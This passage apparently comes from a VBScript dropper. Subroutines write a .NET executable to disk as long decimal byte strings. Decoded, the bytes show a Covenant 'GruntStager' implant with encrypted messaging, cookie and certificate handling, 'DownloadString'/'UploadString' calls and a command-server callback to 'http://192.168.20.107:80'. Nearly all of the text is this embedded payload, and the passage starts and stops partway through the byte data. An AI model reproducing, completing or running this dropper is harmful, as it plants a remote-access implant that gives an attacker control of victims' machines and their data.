WriteBytes objFile, "40 27 0 0 10 3 40 18 0 0 10 111 60 0 0 10 42 0 0 66 83 74 66 1 0 1 0 0 0 0 0 12 0"
|
||||
WriteBytes objFile, "0 0 118 52 46 48 46 51 48 51 49 57 0 0 0 0 5 0 108 0 0 0 196 6 0 0 35 126 0 0 48 7"
|
||||
WriteBytes objFile, "0 0 48 9 0 0 35 83 116 114 105 110 103 115 0 0 0 0 96 16 0 0 20 7 0 0 35 85 83 0 116"
|
||||
WriteBytes objFile, "23 0 0 16 0 0 0 35 71 85 73 68 0 0 0 132 23 0 0 200 2 0 0 35 66 108 111 98 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 2 0 0 1 87 21 162 9 9 10 0 0 0 250 1 51 0 22 0 0 1 0 0 0 64 0 0 0 6 0 0 0 8"
|
||||
WriteBytes objFile, "0 0 0 19 0 0 0 16 0 0 0 92 0 0 0 9 0 0 0 4 0 0 0 1 0 0 0 1 0 0 0 2 0 0 0 3 0 0 0 1"
|
||||
WriteBytes objFile, "0 0 0 3 0 0 0 4 0 0 0 2 0 0 0 0 0 245 2 1 0 0 0 0 0 6 0 154 2 106 6 6 0 186 2 106"
|
||||
WriteBytes objFile, "6 6 0 134 2 72 6 15 0 138 6 0 0 6 0 205 7 105 4 6 0 88 2 105 4 6 0 98 0 253 0 6 0"
|
||||
WriteBytes objFile, "165 4 105 4 6 0 102 6 160 8 6 0 163 0 160 8 6 0 97 5 160 8 6 0 67 1 105 4 31 0 246"
|
||||
WriteBytes objFile, "5 0 0 6 0 53 5 105 4 10 0 174 3 85 7 10 0 246 7 219 7 6 0 107 2 106 6 10 0 206 5 219"
|
||||
WriteBytes objFile, "7 10 0 209 3 105 4 10 0 93 8 219 7 10 0 75 8 219 7 6 0 65 2 181 6 10 0 219 4 181 6"
|
||||
WriteBytes objFile, "10 0 153 7 234 8 6 0 136 0 105 4 6 0 92 5 105 4 6 0 144 3 105 4 14 0 195 1 80 5 6"
|
||||
WriteBytes objFile, "0 84 0 253 0 6 0 0 8 105 4 6 0 206 4 105 4 6 0 67 8 105 4 6 0 112 4 160 8 6 0 149"
|
||||
WriteBytes objFile, "1 160 8 6 0 137 1 160 8 6 0 139 7 160 8 6 0 18 3 120 8 6 0 131 4 160 8 6 0 189 4 160"
|
||||
WriteBytes objFile, "8 6 0 151 4 160 8 10 0 136 5 219 7 10 0 255 1 219 7 10 0 217 3 234 8 10 0 18 9 219"
|
||||
WriteBytes objFile, "7 10 0 172 1 219 7 10 0 57 4 219 7 10 0 247 6 219 7 10 0 33 5 219 7 10 0 253 4 33"
|
||||
WriteBytes objFile, "1 6 0 206 1 105 4 6 0 224 2 105 4 6 0 1 6 160 8 6 0 129 5 105 4 6 0 138 8 105 4 6"
|
||||
WriteBytes objFile, "0 189 8 235 4 6 0 15 2 105 4 6 0 63 5 235 4 6 0 40 2 235 4 6 0 218 1 105 4 6 0 222"
|
||||
WriteBytes objFile, "5 198 0 10 0 132 8 85 7 10 0 17 5 85 7 10 0 74 5 85 7 10 0 32 2 85 7 0 0 0 0 187 0"
|
||||
WriteBytes objFile, "0 0 0 0 1 0 1 0 1 0 16 0 170 5 170 5 21 0 1 0 1 0 2 0 16 0 240 7 0 0 65 0 1 0 6 0"
|
||||
WriteBytes objFile, "130 1 16 0 172 4 0 0 21 0 2 0 11 0 3 1 16 0 32 0 0 0 21 0 2 0 13 0 3 33 16 0 249 0"
|
||||
WriteBytes objFile, "0 0 21 0 5 0 15 0 1 0 72 1 81 2 6 0 27 3 85 2 6 0 192 3 88 2 6 0 42 8 85 2 54 0 183"
|
||||
WriteBytes objFile, "0 91 2 22 0 1 0 95 2 22 0 53 0 95 2 22 0 105 0 95 2 80 32 0 0 0 0 134 24 23 6 6 0"
|
||||
WriteBytes objFile, "1 0 94 32 0 0 0 0 150 0 214 4 103 2 1 0 94 32 0 0 0 0 150 0 216 2 109 2 2 0 104 32"
|
||||
WriteBytes objFile, "0 0 0 0 134 0 156 5 6 0 2 0 120 42 0 0 0 0 150 0 59 2 113 2 2 0 150 44 0 0 0 0 134"
|
||||
WriteBytes objFile, "8 182 5 123 2 4 0 158 44 0 0 0 0 129 8 202 5 62 2 4 0 167 44 0 0 0 0 134 24 23 6 6"
|
||||
WriteBytes objFile, "0 5 0 186 44 0 0 0 0 134 0 153 6 43 2 5 0 204 44 0 0 0 0 196 0 90 8 55 2 7 0 254 44"
|
||||
WriteBytes objFile, "0 0 0 0 150 0 196 4 36 1 8 0 6 45 0 0 0 0 150 0 60 8 203 0 9 0 14 45 0 0 0 0 134 24"
|
||||
WriteBytes objFile, "23 6 6 0 10 0 24 45 0 0 0 0 131 0 143 0 128 2 10 0 100 45 0 0 0 0 145 24 29 6 109"
|
||||
WriteBytes objFile, "2 14 0 14 45 0 0 0 0 134 24 23 6 6 0 14 0 112 45 0 0 0 0 131 0 10 0 164 1 14 0 112"
|
||||
WriteBytes objFile, "45 0 0 0 0 131 0 62 0 164 1 15 0 112 45 0 0 0 0 131 0 114 0 164 1 16 0 0 0 1 0 242"
|
||||
WriteBytes objFile, "6 0 0 1 0 235 0 0 0 2 0 198 7 0 0 1 0 239 2 0 0 1 0 213 3 0 0 2 0 164 6 0 0 1 0 176"
|
||||
WriteBytes objFile, "7 0 0 1 0 236 6 0 0 1 0 68 6 0 0 1 0 122 5 0 0 2 0 55 8 0 0 3 0 229 4 0 0 4 0 169"
|
||||
WriteBytes objFile, "7 0 0 1 0 196 0 0 0 1 0 196 0 0 0 1 0 208 0 9 0 23 6 1 0 17 0 23 6 6 0 25 0 23 6 10"
|
||||
WriteBytes objFile, "0 49 0 23 6 6 0 137 0 23 6 6 0 41 0 23 6 6 0 217 0 234 7 104 0 225 0 104 8 111 0 12"
|
||||
WriteBytes objFile, "0 23 6 138 0 225 0 212 7 144 0 241 0 236 1 173 0 217 0 105 1 177 0 249 0 59 2 183"
|
||||
WriteBytes objFile, "0 65 0 23 6 6 0 97 0 64 1 188 0 41 0 132 3 193 0 217 0 151 3 197 0 1 1 42 3 203 0"
|
||||
WriteBytes objFile, "73 0 81 2 209 0 9 1 128 1 214 0 9 1 6 3 221 0 9 1 152 8 228 0 9 1 224 0 6 0 81 0 23"
|
||||
WriteBytes objFile, "6 228 0 33 1 23 6 6 0 89 0 23 6 234 0 41 1 174 0 242 0 49 1 120 3 248 0 41 1 227 6"
|
||||
WriteBytes objFile, "253 0 9 1 52 6 3 1 57 1 37 4 9 1 65 1 180 3 18 1 217 0 184 7 25 1 9 1 210 0 31 1 1"
|
||||
WriteBytes objFile, "1 59 3 36 1 217 0 191 7 42 1 73 1 75 4 49 1 89 1 23 6 138 0 73 1 253 3 56 1 129 0"
|
||||
WriteBytes objFile, "50 7 63 1 161 0 28 9 68 1 129 0 8 9 74 1 129 0 254 8 81 1 105 1 20 7 87 1 97 1 4 7"
|
||||
WriteBytes objFile, "93 1 20 0 243 5 106 1 28 0 12 8 121 1 20 0 96 4 126 1 217 0 208 8 132 1 153 0 23 6"
|
||||
WriteBytes objFile, "138 1 129 0 127 7 143 1 137 1 230 7 149 1 20 0 24 8 155 1 65 0 115 8 159 1 129 0 74"
|
||||
WriteBytes objFile, "3 164 1 28 0 111 8 169 1 145 1 51 2 6 0 217 0 191 7 173 1 129 0 89 3 177 0 41 1 141"
|
||||
WriteBytes objFile, "3 179 1 217 0 220 8 132 1 9 1 217 0 228 0 9 1 36 6 3 1 89 0 34 8 185 1 9 1 144 8 31"
|
||||
WriteBytes objFile, "1 161 1 81 2 193 1 161 1 227 6 228 0 169 1 198 8 199 1 185 1 24 1 212 1 185 1 172"
|
||||
WriteBytes objFile, "6 220 1 193 1 91 6 227 1 209 1 188 1 234 1 217 1 233 5 241 1 113 0 160 1 193 0 113"
|
||||
WriteBytes objFile, "0 113 1 193 0 217 0 184 7 247 1 225 1 226 1 138 1 233 1 248 1 8 2 217 0 76 7 13 2"
|
||||
WriteBytes objFile, "233 1 23 6 138 1 233 1 174 3 18 2 20 0 23 6 6 0 121 0 116 7 24 2 241 1 96 4 30 2 1"
|
||||
WriteBytes objFile, "2 229 2 193 0 20 0 29 1 37 2 129 0 23 6 6 0 145 0 23 6 6 0 145 0 153 6 43 2 129 0"
|
||||
WriteBytes objFile, "90 8 55 2 169 0 202 5 62 2 177 0 102 3 193 0 33 0 43 0 193 2 46 0 11 0 144 2 46 0"
|
||||
WriteBytes objFile, "19 0 153 2 46 0 27 0 184 2 64 0 35 0 193 2 163 0 43 0 193 2 192 0 43 0 193 2 195 0"
|
||||
WriteBytes objFile, "43 0 193 2 224 0 43 0 193 2 16 0 254 1 50 2 68 2 3 0 1 0 0 0 206 5 139 2 2 0 6 0 3"
|
||||
WriteBytes objFile, "0 1 0 7 0 3 0 131 0 100 1 115 1 4 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 161 3 0 0 4"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 72 2 240 0 0 0 0 0 4 0 0 0 0 0 0 0 0 0 0 0 72 2 105 4 0 0 0"
|
||||
WriteBytes objFile, "0 4 0 0 0 0 0 0 0 0 0 0 0 72 2 20 2 0 0 0 0 3 0 2 0 4 0 2 0 5 0 2 0 6 0 2 0 17 0 127"
|
||||
WriteBytes objFile, "0 21 0 168 0 0 0 0 0 0 60 62 57 95 95 51 95 48 0 60 69 120 101 99 117 116 101 83 116"
|
||||
WriteBytes objFile, "97 103 101 114 62 98 95 95 51 95 48 0 60 62 99 95 95 68 105 115 112 108 97 121 67"
|
||||
WriteBytes objFile, "108 97 115 115 51 95 48 0 60 62 57 95 95 51 95 49 0 60 69 120 101 99 117 116 101 83"
|
||||
WriteBytes objFile, "116 97 103 101 114 62 98 95 95 51 95 49 0 73 69 110 117 109 101 114 97 98 108 101"
|
||||
WriteBytes objFile, "96 49 0 76 105 115 116 96 49 0 60 62 57 95 95 51 95 50 0 60 69 120 101 99 117 116"
|
||||
WriteBytes objFile, "101 83 116 97 103 101 114 62 98 95 95 51 95 50 0 70 117 110 99 96 50 0 60 69 120 101"
|
||||
WriteBytes objFile, "99 117 116 101 83 116 97 103 101 114 62 98 95 95 51 0 72 77 65 67 83 72 65 50 53 54"
|
||||
WriteBytes objFile, "0 103 101 116 95 85 84 70 56 0 60 62 57 0 60 77 111 100 117 108 101 62 0 72 0 83 121"
|
||||
WriteBytes objFile, "115 116 101 109 46 73 79 0 85 0 103 101 116 95 73 86 0 115 101 116 95 73 86 0 71 101"
|
||||
WriteBytes objFile, "110 101 114 97 116 101 73 86 0 100 97 116 97 0 109 115 99 111 114 108 105 98 0 60"
|
||||
WriteBytes objFile, "62 99 0 83 121 115 116 101 109 46 67 111 108 108 101 99 116 105 111 110 115 46 71"
|
||||
WriteBytes objFile, "101 110 101 114 105 99 0 76 111 97 100 0 65 100 100 0 83 121 115 116 101 109 46 67"
|
||||
WriteBytes objFile, "111 108 108 101 99 116 105 111 110 115 46 83 112 101 99 105 97 108 105 122 101 100"
|
||||
WriteBytes objFile, "0 78 101 119 71 117 105 100 0 60 67 111 111 107 105 101 67 111 110 116 97 105 110"
|
||||
End Sub
|
||||
|
||||
Sub DumpFile3(objFile)
|
||||
WriteBytes objFile, "101 114 62 107 95 95 66 97 99 107 105 110 103 70 105 101 108 100 0 82 101 112 108"
|
||||
WriteBytes objFile, "97 99 101 0 103 101 116 95 83 116 97 99 107 84 114 97 99 101 0 115 101 116 95 77 111"
|
||||
WriteBytes objFile, "100 101 0 80 97 100 100 105 110 103 77 111 100 101 0 67 105 112 104 101 114 77 111"
|
||||
WriteBytes objFile, "100 101 0 103 101 116 95 77 101 115 115 97 103 101 0 67 114 101 100 101 110 116 105"
|
||||
WriteBytes objFile, "97 108 67 97 99 104 101 0 73 110 118 111 107 101 0 69 110 117 109 101 114 97 98 108"
|
||||
WriteBytes objFile, "101 0 73 68 105 115 112 111 115 97 98 108 101 0 67 111 110 115 111 108 101 0 87 114"
|
||||
WriteBytes objFile, "105 116 101 76 105 110 101 0 103 101 116 95 78 101 119 76 105 110 101 0 69 115 99"
|
||||
WriteBytes objFile, "97 112 101 0 83 101 99 117 114 105 116 121 80 114 111 116 111 99 111 108 84 121 112"
|
||||
WriteBytes objFile, "101 0 83 121 115 116 101 109 46 67 111 114 101 0 67 97 112 116 117 114 101 0 77 101"
|
||||
WriteBytes objFile, "116 104 111 100 66 97 115 101 0 68 105 115 112 111 115 101 0 80 97 114 115 101 0 88"
|
||||
WriteBytes objFile, "53 48 57 67 101 114 116 105 102 105 99 97 116 101 0 67 114 101 97 116 101 0 83 84"
|
||||
WriteBytes objFile, "65 84 104 114 101 97 100 65 116 116 114 105 98 117 116 101 0 67 111 109 112 105 108"
|
||||
WriteBytes objFile, "101 114 71 101 110 101 114 97 116 101 100 65 116 116 114 105 98 117 116 101 0 68 101"
|
||||
WriteBytes objFile, "98 117 103 103 97 98 108 101 65 116 116 114 105 98 117 116 101 0 67 111 109 112 105"
|
||||
WriteBytes objFile, "108 97 116 105 111 110 82 101 108 97 120 97 116 105 111 110 115 65 116 116 114 105"
|
||||
WriteBytes objFile, "98 117 116 101 0 82 117 110 116 105 109 101 67 111 109 112 97 116 105 98 105 108 105"
|
||||
WriteBytes objFile, "116 121 65 116 116 114 105 98 117 116 101 0 69 120 101 99 117 116 101 0 66 121 116"
|
||||
WriteBytes objFile, "101 0 103 101 116 95 86 97 108 117 101 0 118 97 108 117 101 0 100 97 114 109 122 116"
|
||||
WriteBytes objFile, "53 122 46 118 53 104 46 101 120 101 0 115 101 116 95 80 97 100 100 105 110 103 0 69"
|
||||
WriteBytes objFile, "110 99 111 100 105 110 103 0 85 115 101 67 101 114 116 80 105 110 110 105 110 103"
|
||||
WriteBytes objFile, "0 70 114 111 109 66 97 115 101 54 52 83 116 114 105 110 103 0 84 111 66 97 115 101"
|
||||
WriteBytes objFile, "54 52 83 116 114 105 110 103 0 68 111 119 110 108 111 97 100 83 116 114 105 110 103"
|
||||
WriteBytes objFile, "0 85 112 108 111 97 100 83 116 114 105 110 103 0 71 101 116 67 101 114 116 72 97 115"
|
||||
WriteBytes objFile, "104 83 116 114 105 110 103 0 84 111 88 109 108 83 116 114 105 110 103 0 84 111 83"
|
||||
WriteBytes objFile, "116 114 105 110 103 0 71 101 116 83 116 114 105 110 103 0 83 117 98 115 116 114 105"
|
||||
WriteBytes objFile, "110 103 0 100 97 114 109 122 116 53 122 46 118 53 104 0 77 97 116 99 104 0 67 111"
|
||||
WriteBytes objFile, "109 112 117 116 101 72 97 115 104 0 67 111 118 101 110 97 110 116 67 101 114 116 72"
|
||||
WriteBytes objFile, "97 115 104 0 85 114 105 0 117 114 105 0 82 101 109 111 116 101 67 101 114 116 105"
|
||||
WriteBytes objFile, "102 105 99 97 116 101 86 97 108 105 100 97 116 105 111 110 67 97 108 108 98 97 99"
|
||||
WriteBytes objFile, "107 0 115 101 116 95 83 101 114 118 101 114 67 101 114 116 105 102 105 99 97 116 101"
|
||||
WriteBytes objFile, "86 97 108 105 100 97 116 105 111 110 67 97 108 108 98 97 99 107 0 84 114 97 110 115"
|
||||
WriteBytes objFile, "102 111 114 109 70 105 110 97 108 66 108 111 99 107 0 78 101 116 119 111 114 107 67"
|
||||
WriteBytes objFile, "114 101 100 101 110 116 105 97 108 0 115 101 116 95 83 101 99 117 114 105 116 121"
|
||||
WriteBytes objFile, "80 114 111 116 111 99 111 108 0 103 101 116 95 73 116 101 109 0 83 121 115 116 101"
|
||||
WriteBytes objFile, "109 0 83 121 109 109 101 116 114 105 99 65 108 103 111 114 105 116 104 109 0 65 115"
|
||||
WriteBytes objFile, "121 109 109 101 116 114 105 99 65 108 103 111 114 105 116 104 109 0 72 97 115 104"
|
||||
WriteBytes objFile, "65 108 103 111 114 105 116 104 109 0 82 97 110 100 111 109 0 77 101 115 115 97 103"
|
||||
WriteBytes objFile, "101 84 114 97 110 115 102 111 114 109 0 73 67 114 121 112 116 111 84 114 97 110 115"
|
||||
WriteBytes objFile, "102 111 114 109 0 66 111 111 108 101 97 110 0 77 97 105 110 0 88 53 48 57 67 104 97"
|
||||
WriteBytes objFile, "105 110 0 99 104 97 105 110 0 83 121 115 116 101 109 46 82 101 102 108 101 99 116"
|
||||
WriteBytes objFile, "105 111 110 0 78 97 109 101 86 97 108 117 101 67 111 108 108 101 99 116 105 111 110"
|
||||
WriteBytes objFile, "0 71 114 111 117 112 67 111 108 108 101 99 116 105 111 110 0 87 101 98 72 101 97 100"
|
||||
WriteBytes objFile, "101 114 67 111 108 108 101 99 116 105 111 110 0 69 120 99 101 112 116 105 111 110"
|
||||
WriteBytes objFile, "0 77 101 116 104 111 100 73 110 102 111 0 71 114 111 117 112 0 83 121 115 116 101"
|
||||
WriteBytes objFile, "109 46 76 105 110 113 0 67 104 97 114 0 82 83 65 67 114 121 112 116 111 83 101 114"
|
||||
WriteBytes objFile, "118 105 99 101 80 114 111 118 105 100 101 114 0 115 101 110 100 101 114 0 66 117 102"
|
||||
WriteBytes objFile, "102 101 114 0 83 101 114 118 105 99 101 80 111 105 110 116 77 97 110 97 103 101 114"
|
||||
WriteBytes objFile, "0 69 120 101 99 117 116 101 83 116 97 103 101 114 0 71 114 117 110 116 83 116 97 103"
|
||||
WriteBytes objFile, "101 114 0 103 101 116 95 67 111 111 107 105 101 67 111 110 116 97 105 110 101 114"
|
||||
WriteBytes objFile, "0 115 101 116 95 67 111 111 107 105 101 67 111 110 116 97 105 110 101 114 0 84 101"
|
||||
WriteBytes objFile, "120 116 87 114 105 116 101 114 0 103 101 116 95 69 114 114 111 114 0 71 101 116 69"
|
||||
WriteBytes objFile, "110 117 109 101 114 97 116 111 114 0 82 97 110 100 111 109 78 117 109 98 101 114 71"
|
||||
WriteBytes objFile, "101 110 101 114 97 116 111 114 0 46 99 116 111 114 0 46 99 99 116 111 114 0 67 114"
|
||||
WriteBytes objFile, "101 97 116 101 68 101 99 114 121 112 116 111 114 0 67 114 101 97 116 101 69 110 99"
|
||||
WriteBytes objFile, "114 121 112 116 111 114 0 115 116 114 0 83 121 115 116 101 109 46 68 105 97 103 110"
|
||||
WriteBytes objFile, "111 115 116 105 99 115 0 71 101 116 77 101 116 104 111 100 115 0 65 101 115 0 83 121"
|
||||
WriteBytes objFile, "115 116 101 109 46 82 117 110 116 105 109 101 46 67 111 109 112 105 108 101 114 83"
|
||||
WriteBytes objFile, "101 114 118 105 99 101 115 0 68 101 98 117 103 103 105 110 103 77 111 100 101 115"
|
||||
WriteBytes objFile, "0 83 101 116 67 111 111 107 105 101 115 0 99 111 111 107 105 101 115 0 71 101 116"
|
||||
WriteBytes objFile, "84 121 112 101 115 0 83 121 115 116 101 109 46 83 101 99 117 114 105 116 121 46 67"
|
||||
WriteBytes objFile, "114 121 112 116 111 103 114 97 112 104 121 46 88 53 48 57 67 101 114 116 105 102 105"
|
||||
WriteBytes objFile, "99 97 116 101 115 0 71 101 116 66 121 116 101 115 0 98 121 116 101 115 0 97 114 103"
|
||||
WriteBytes objFile, "115 0 73 67 114 101 100 101 110 116 105 97 108 115 0 115 101 116 95 67 114 101 100"
|
||||
WriteBytes objFile, "101 110 116 105 97 108 115 0 103 101 116 95 68 101 102 97 117 108 116 78 101 116 119"
|
||||
WriteBytes objFile, "111 114 107 67 114 101 100 101 110 116 105 97 108 115 0 115 101 116 95 85 115 101"
|
||||
WriteBytes objFile, "68 101 102 97 117 108 116 67 114 101 100 101 110 116 105 97 108 115 0 67 111 110 116"
|
||||
WriteBytes objFile, "97 105 110 115 0 83 121 115 116 101 109 46 84 101 120 116 46 82 101 103 117 108 97"
|
||||
WriteBytes objFile, "114 69 120 112 114 101 115 115 105 111 110 115 0 103 101 116 95 71 114 111 117 112"
|
||||
WriteBytes objFile, "115 0 103 101 116 95 72 101 97 100 101 114 115 0 67 115 112 80 97 114 97 109 101 116"
|
||||
WriteBytes objFile, "101 114 115 0 83 115 108 80 111 108 105 99 121 69 114 114 111 114 115 0 101 114 114"
|
||||
WriteBytes objFile, "111 114 115 0 97 100 100 114 101 115 115 0 67 111 110 99 97 116 0 70 111 114 109 97"
|
||||
WriteBytes objFile, "116 0 102 111 114 109 97 116 0 79 98 106 101 99 116 0 83 101 108 101 99 116 0 83 121"
|
||||
WriteBytes objFile, "115 116 101 109 46 78 101 116 0 83 101 116 0 83 112 108 105 116 0 67 111 111 107 105"
|
||||
WriteBytes objFile, "101 87 101 98 67 108 105 101 110 116 0 69 110 118 105 114 111 110 109 101 110 116"
|
||||
WriteBytes objFile, "0 103 101 116 95 67 117 114 114 101 110 116 0 103 101 116 95 67 111 117 110 116 0"
|
||||
WriteBytes objFile, "68 101 99 114 121 112 116 0 86 97 108 105 100 97 116 101 67 101 114 116 0 99 101 114"
|
||||
WriteBytes objFile, "116 0 73 110 118 101 114 116 0 67 111 110 118 101 114 116 0 72 116 116 112 87 101"
|
||||
WriteBytes objFile, "98 82 101 113 117 101 115 116 0 71 101 116 87 101 98 82 101 113 117 101 115 116 0"
|
||||
WriteBytes objFile, "84 111 76 105 115 116 0 77 111 118 101 78 101 120 116 0 83 121 115 116 101 109 46"
|
||||
WriteBytes objFile, "84 101 120 116 0 82 101 103 101 120 0 65 114 114 97 121 0 103 101 116 95 75 101 121"
|
||||
WriteBytes objFile, "0 115 101 116 95 75 101 121 0 83 121 115 116 101 109 46 83 101 99 117 114 105 116"
|
||||
WriteBytes objFile, "121 46 67 114 121 112 116 111 103 114 97 112 104 121 0 65 115 115 101 109 98 108 121"
|
||||
WriteBytes objFile, "0 66 108 111 99 107 67 111 112 121 0 111 112 95 69 113 117 97 108 105 116 121 0 111"
|
||||
WriteBytes objFile, "112 95 73 110 101 113 117 97 108 105 116 121 0 83 121 115 116 101 109 46 78 101 116"
|
||||
WriteBytes objFile, "46 83 101 99 117 114 105 116 121 0 103 101 116 95 80 114 111 120 121 0 115 101 116"
|
||||
WriteBytes objFile, "95 80 114 111 120 121 0 73 87 101 98 80 114 111 120 121 0 103 101 116 95 68 101 102"
|
||||
WriteBytes objFile, "97 117 108 116 87 101 98 80 114 111 120 121 0 0 49 104 0 116 0 116 0 112 0 58 0 47"
|
||||
WriteBytes objFile, "0 47 0 49 0 57 0 50 0 46 0 49 0 54 0 56 0 46 0 50 0 48 0 46 0 49 0 48 0 55 0 58 0"
|
||||
WriteBytes objFile, "56 0 48 0 0 1 0 33 86 0 88 0 78 0 108 0 99 0 105 0 49 0 66 0 90 0 50 0 86 0 117 0"
|
||||
WriteBytes objFile, "100 0 65 0 61 0 61 0 0 129 17 84 0 87 0 57 0 54 0 97 0 87 0 120 0 115 0 89 0 83 0"
|
||||
WriteBytes objFile, "56 0 49 0 76 0 106 0 65 0 103 0 75 0 70 0 100 0 112 0 98 0 109 0 82 0 118 0 100 0"
|
||||
WriteBytes objFile, "51 0 77 0 103 0 84 0 108 0 81 0 103 0 78 0 105 0 52 0 120 0 75 0 83 0 66 0 66 0 99"
|
||||
WriteBytes objFile, "0 72 0 66 0 115 0 90 0 86 0 100 0 108 0 89 0 107 0 116 0 112 0 100 0 67 0 56 0 49"
|
||||
WriteBytes objFile, "0 77 0 122 0 99 0 117 0 77 0 122 0 89 0 103 0 75 0 69 0 116 0 73 0 86 0 69 0 49 0"
|
||||
WriteBytes objFile, "77 0 76 0 67 0 66 0 115 0 97 0 87 0 116 0 108 0 73 0 69 0 100 0 108 0 89 0 50 0 116"
|
||||
WriteBytes objFile, "0 118 0 75 0 83 0 66 0 68 0 97 0 72 0 74 0 118 0 98 0 87 0 85 0 118 0 78 0 68 0 69"
|
||||
WriteBytes objFile, "0 117 0 77 0 67 0 52 0 121 0 77 0 106 0 73 0 52 0 76 0 106 0 65 0 103 0 85 0 50 0"
|
||||
WriteBytes objFile, "70 0 109 0 89 0 88 0 74 0 112 0 76 0 122 0 85 0 122 0 78 0 121 0 52 0 122 0 78 0 103"
|
||||
WriteBytes objFile, "0 61 0 61 0 0 129 21 76 0 50 0 86 0 117 0 76 0 88 0 86 0 122 0 76 0 50 0 108 0 117"
|
||||
WriteBytes objFile, "0 90 0 71 0 86 0 52 0 76 0 109 0 104 0 48 0 98 0 87 0 119 0 47 0 99 0 71 0 70 0 110"
|
||||
End Sub
|
||||
|
||||
Sub DumpFile4(objFile)
|
||||
WriteBytes objFile, "0 90 0 84 0 49 0 55 0 82 0 49 0 86 0 74 0 82 0 72 0 48 0 109 0 100 0 106 0 48 0 120"
|
||||
WriteBytes objFile, "0 44 0 76 0 50 0 86 0 117 0 76 0 88 0 86 0 122 0 76 0 50 0 82 0 118 0 89 0 51 0 77"
|
||||
WriteBytes objFile, "0 117 0 97 0 72 0 82 0 116 0 98 0 68 0 57 0 48 0 101 0 88 0 66 0 108 0 80 0 88 0 116"
|
||||
WriteBytes objFile, "0 72 0 86 0 85 0 108 0 69 0 102 0 83 0 90 0 50 0 80 0 84 0 69 0 61 0 44 0 76 0 50"
|
||||
WriteBytes objFile, "0 86 0 117 0 76 0 88 0 86 0 122 0 76 0 51 0 82 0 108 0 99 0 51 0 81 0 117 0 97 0 72"
|
||||
WriteBytes objFile, "0 82 0 116 0 98 0 68 0 57 0 116 0 90 0 88 0 78 0 122 0 89 0 87 0 100 0 108 0 80 0"
|
||||
WriteBytes objFile, "88 0 116 0 72 0 86 0 85 0 108 0 69 0 102 0 83 0 90 0 50 0 80 0 84 0 69 0 61 0 0 128"
|
||||
WriteBytes objFile, "175 105 0 61 0 97 0 49 0 57 0 101 0 97 0 50 0 51 0 48 0 54 0 50 0 100 0 98 0 57 0"
|
||||
WriteBytes objFile, "57 0 48 0 51 0 56 0 54 0 97 0 51 0 97 0 52 0 55 0 56 0 99 0 98 0 56 0 57 0 100 0 53"
|
||||
WriteBytes objFile, "0 50 0 101 0 38 0 100 0 97 0 116 0 97 0 61 0 123 0 48 0 125 0 38 0 115 0 101 0 115"
|
||||
WriteBytes objFile, "0 115 0 105 0 111 0 110 0 61 0 55 0 53 0 100 0 98 0 45 0 57 0 57 0 98 0 49 0 45 0"
|
||||
WriteBytes objFile, "50 0 53 0 102 0 101 0 52 0 101 0 57 0 97 0 102 0 98 0 101 0 53 0 56 0 54 0 57 0 54"
|
||||
WriteBytes objFile, "0 45 0 51 0 50 0 48 0 98 0 101 0 97 0 55 0 51 0 1 3 10 0 0 129 49 60 0 104 0 116 0"
|
||||
WriteBytes objFile, "109 0 108 0 62 0 10 0 32 0 32 0 32 0 32 0 60 0 104 0 101 0 97 0 100 0 62 0 10 0 32"
|
||||
WriteBytes objFile, "0 32 0 32 0 32 0 32 0 32 0 32 0 32 0 60 0 116 0 105 0 116 0 108 0 101 0 62 0 72 0"
|
||||
WriteBytes objFile, "101 0 108 0 108 0 111 0 32 0 87 0 111 0 114 0 108 0 100 0 33 0 60 0 47 0 116 0 105"
|
||||
WriteBytes objFile, "0 116 0 108 0 101 0 62 0 10 0 32 0 32 0 32 0 32 0 60 0 47 0 104 0 101 0 97 0 100 0"
|
||||
WriteBytes objFile, "62 0 10 0 32 0 32 0 32 0 32 0 60 0 98 0 111 0 100 0 121 0 62 0 10 0 32 0 32 0 32 0"
|
||||
WriteBytes objFile, "32 0 32 0 32 0 32 0 32 0 60 0 112 0 62 0 72 0 101 0 108 0 108 0 111 0 32 0 87 0 111"
|
||||
WriteBytes objFile, "0 114 0 108 0 100 0 33 0 60 0 47 0 112 0 62 0 10 0 32 0 32 0 32 0 32 0 32 0 32 0 32"
|
||||
WriteBytes objFile, "0 32 0 47 0 47 0 32 0 72 0 101 0 108 0 108 0 111 0 32 0 87 0 111 0 114 0 108 0 100"
|
||||
WriteBytes objFile, "0 33 0 32 0 123 0 48 0 125 0 10 0 32 0 32 0 32 0 32 0 60 0 47 0 98 0 111 0 100 0 121"
|
||||
WriteBytes objFile, "0 62 0 10 0 60 0 47 0 104 0 116 0 109 0 108 0 62 0 0 11 102 0 97 0 108 0 115 0 101"
|
||||
WriteBytes objFile, "0 0 21 97 0 54 0 49 0 100 0 98 0 49 0 99 0 48 0 51 0 98 0 0 3 45 0 1 89 67 0 97 0"
|
||||
WriteBytes objFile, "70 0 104 0 118 0 83 0 108 0 55 0 119 0 118 0 103 0 97 0 108 0 76 0 84 0 110 0 114"
|
||||
WriteBytes objFile, "0 67 0 105 0 43 0 108 0 69 0 98 0 90 0 84 0 115 0 106 0 122 0 104 0 115 0 82 0 118"
|
||||
WriteBytes objFile, "0 57 0 51 0 119 0 54 0 70 0 71 0 98 0 57 0 76 0 101 0 77 0 61 0 0 128 179 123 0 123"
|
||||
WriteBytes objFile, "0 34 0 71 0 85 0 73 0 68 0 34 0 58 0 34 0 123 0 48 0 125 0 34 0 44 0 34 0 84 0 121"
|
||||
WriteBytes objFile, "0 112 0 101 0 34 0 58 0 123 0 49 0 125 0 44 0 34 0 77 0 101 0 116 0 97 0 34 0 58 0"
|
||||
WriteBytes objFile, "34 0 123 0 50 0 125 0 34 0 44 0 34 0 73 0 86 0 34 0 58 0 34 0 123 0 51 0 125 0 34"
|
||||
WriteBytes objFile, "0 44 0 34 0 69 0 110 0 99 0 114 0 121 0 112 0 116 0 101 0 100 0 77 0 101 0 115 0 115"
|
||||
WriteBytes objFile, "0 97 0 103 0 101 0 34 0 58 0 34 0 123 0 52 0 125 0 34 0 44 0 34 0 72 0 77 0 65 0 67"
|
||||
WriteBytes objFile, "0 34 0 58 0 34 0 123 0 53 0 125 0 34 0 125 0 125 0 0 3 48 0 0 13 67 0 111 0 111 0"
|
||||
WriteBytes objFile, "107 0 105 0 101 0 0 3 59 0 0 3 44 0 0 13 123 0 71 0 85 0 73 0 68 0 125 0 0 3 49 0"
|
||||
